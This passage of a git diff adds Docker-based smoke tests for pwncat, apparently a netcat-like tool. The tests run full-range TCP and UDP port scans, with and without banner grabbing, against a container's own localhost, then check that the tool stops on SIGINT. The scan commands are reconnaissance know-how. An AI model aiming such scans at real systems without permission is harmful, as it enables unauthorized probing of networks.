+while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/301---tcp---port_scan---with_banner/docker-compose.yml b/tests/smoke/301---tcp---port_scan---with_banner/docker-compose.yml new file mode 100644 index 00000000..f3706943 --- /dev/null +++ b/tests/smoke/301---tcp---port_scan---with_banner/docker-compose.yml @@ -0,0 +1,15 @@ +--- +version: "3.3" + +services: + ### + ### (1) [TCP] [-z --banner] + ### SIGINT (Ctrl+c) + ### + scanner: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -vvvv localhost 1-65535 + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat diff --git a/tests/smoke/301---tcp---port_scan---with_banner/run.sh b/tests/smoke/301---tcp---port_scan---with_banner/run.sh new file mode 100755 index 00000000..ddf3f554 --- /dev/null +++ b/tests/smoke/301---tcp---port_scan---with_banner/run.sh @@ -0,0 +1,143 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=7 +WAIT_SHUTDOWN=15 +NAME1="scanner" + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 +while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/302---udp---port_scan---no_banner/docker-compose.yml b/tests/smoke/302---udp---port_scan---no_banner/docker-compose.yml new file mode 100644 index 00000000..6adce3b0 --- /dev/null +++ b/tests/smoke/302---udp---port_scan---no_banner/docker-compose.yml @@ -0,0 +1,15 @@ +--- +version: "3.3" + +services: + ### + ### (1) [UDP] [-z] + ### SIGINT (Ctrl+c) + ### + scanner: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat -z -u -vvvv localhost 1-65535 + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat diff --git a/tests/smoke/302---udp---port_scan---no_banner/run.sh b/tests/smoke/302---udp---port_scan---no_banner/run.sh new file mode 100755 index 00000000..08959da0 --- /dev/null +++ b/tests/smoke/302---udp---port_scan---no_banner/run.sh @@ -0,0 +1,143 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=7 +WAIT_SHUTDOWN=20 +NAME1="scanner" + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 +while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/303---udp---port_scan---with_banner/docker-compose.yml b/tests/smoke/303---udp---port_scan---with_banner/docker-compose.yml new file mode 100644 index 00000000..775f956b --- /dev/null +++ b/tests/smoke/303---udp---port_scan---with_banner/docker-compose.yml @@ -0,0 +1,15 @@ +--- +version: "3.3" + +services: + ### + ### (1) [UDP] [-z --banner] + ### SIGINT (Ctrl+c) + ### + scanner: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -u -vvvv localhost 1-65535 + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat diff --git a/tests/smoke/303---udp---port_scan---with_banner/run.sh b/tests/smoke/303---udp---port_scan---with_banner/run.sh new file mode 100755 index 00000000..08959da0 --- /dev/null +++ b/tests/smoke/303---udp---port_scan---with_banner/run.sh @@ -0,0 +1,143 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=7 +WAIT_SHUTDOWN=20 +NAME1="scanner" + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 +while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/run.sh b/tests/smoke/run.sh index 01254fd6..a3e4ea26 100755 --- a/tests/smoke/run.sh +++ b/tests/smoke/run.sh @@ -14,15 +14,15 @@ source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- -WAIT_STARTUP=2 -WAIT_SHUTDOWN=2 +WAIT_STARTUP=6 +WAIT_SHUTDOWN=6 # ------------------------------------------------------------------------------------------------- # FUNCTIONS # ------------------------------------------------------------------------------------------------- print_usage() { - echo "${0} " + echo "${0} [PYTHON-VERSION]" echo "Valid dirs:" echo find "${SCRIPTPATH}" -type d -exec basename {} \; | grep -E '^[0-9].*' | sort @@ -33,146 +33,14 @@ print_usage() { # CHECKS # ------------------------------------------------------------------------------------------------- -if [ "${#}" -lt "3" ]; then +if [ "${#}" -lt "1" ]; then print_usage exit 1 fi -COMPOSE="${1}" -SERVER="${2}" -CLIENT="${3}" -PYTHON_VERSION="${4:-3.8}" -COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" +TEST_NAME="${1}" +PYTHON_VERSION="${2:-3.8}" -if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then - print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." - exit 1 -fi -if ! command -v docker >/dev/null 2>&1; then - print_error "docker binary not found, but required." - exit 1 -fi -if ! command -v docker-compose >/dev/null 2>&1; then - print_error "docker-compose binary not found, but required." - exit 1 -fi - - -# ------------------------------------------------------------------------------------------------- -# APPLY VERSION -# ------------------------------------------------------------------------------------------------- - -echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" -print_test_case "Python ${PYTHON_VERSION}" - - -# ------------------------------------------------------------------------------------------------- -# GET ARTIFACTS -# ------------------------------------------------------------------------------------------------- -print_h2 "(1/5) Get artifacts" - -cd "${COMPOSEDIR}" - -# shellcheck disable=SC2050 -while [ "1" -eq "1" ]; do - if run "docker-compose pull"; then - break - fi - sleep 1 -done - - -# ------------------------------------------------------------------------------------------------- -# CLEAN UP -# ------------------------------------------------------------------------------------------------- -print_h2 "(1/5) Stopping Docker Compose" - -run "docker-compose kill || true 2>/dev/null" -run "docker-compose rm -f || true 2>/dev/null" - - -# ------------------------------------------------------------------------------------------------- -# START -# ------------------------------------------------------------------------------------------------- -print_h2 "(2/5) Starting compose" - -cd "${COMPOSEDIR}" -run "docker-compose up -d ${SERVER} ${CLIENT}" -run "sleep ${WAIT_STARTUP}" - - -# ------------------------------------------------------------------------------------------------- -# VALIDATE -# ------------------------------------------------------------------------------------------------- -print_h2 "(3/5) Validate running" - -if ! run "docker-compose ps --filter 'status=running' --services | grep ${SERVER}"; then - print_error "Server is not running" - run "docker-compose logs" - run "docker-compose ps" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - run "docker-compose kill || true 2>/dev/null" - run "docker-compose rm -f || true 2>/dev/null" - exit 1 -fi -if ! run "docker-compose ps --filter 'status=running' --services | grep ${CLIENT}"; then - print_error "Client is not running" - run "docker-compose logs" - run "docker-compose ps" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - run "docker-compose kill || true 2>/dev/null" - run "docker-compose rm -f || true 2>/dev/null" - exit 1 -fi - -run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" -run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - - -# ------------------------------------------------------------------------------------------------- -# TEST -# ------------------------------------------------------------------------------------------------- -print_h2 "(4/5) Test" - -run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} kill -2 1" -run "sleep ${WAIT_SHUTDOWN}" -run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" -run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - - - -if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${SERVER}"; then - run "docker-compose logs" - run "docker-compose ps" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - run "docker-compose kill || true 2>/dev/null" - run "docker-compose rm -f || true 2>/dev/null" - print_error "Server was supposed to stop, it is running" - exit 1 -fi - -if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${CLIENT}"; then - run "docker-compose logs" - run "docker-compose ps" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${CLIENT} ps || true" - run "docker-compose exec $( tty -s && echo || echo '-T' ) ${SERVER} ps || true" - run "docker-compose kill || true 2>/dev/null" - run "docker-compose rm -f || true 2>/dev/null" - print_error "Client was supposed to stop, it is running" - exit 1 -fi - - -# ------------------------------------------------------------------------------------------------- -# CLEAN UP -# ------------------------------------------------------------------------------------------------- -print_h2 "(5/5) Stopping Docker Compose" +TEST_START="${SCRIPTPATH}/${TEST_NAME}/run.sh" -run "docker-compose logs ${SERVER}" -run "docker-compose logs ${CLIENT}" -run "docker-compose ps" -run "docker-compose kill || true 2>/dev/null" -run "docker-compose rm -f || true 2>/dev/null" +"${TEST_START}" "${PYTHON_VERSION}"